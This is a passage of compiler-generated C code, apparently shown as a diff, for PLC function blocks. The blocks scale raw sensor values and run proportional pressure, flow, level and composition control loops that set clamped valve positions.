__INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + 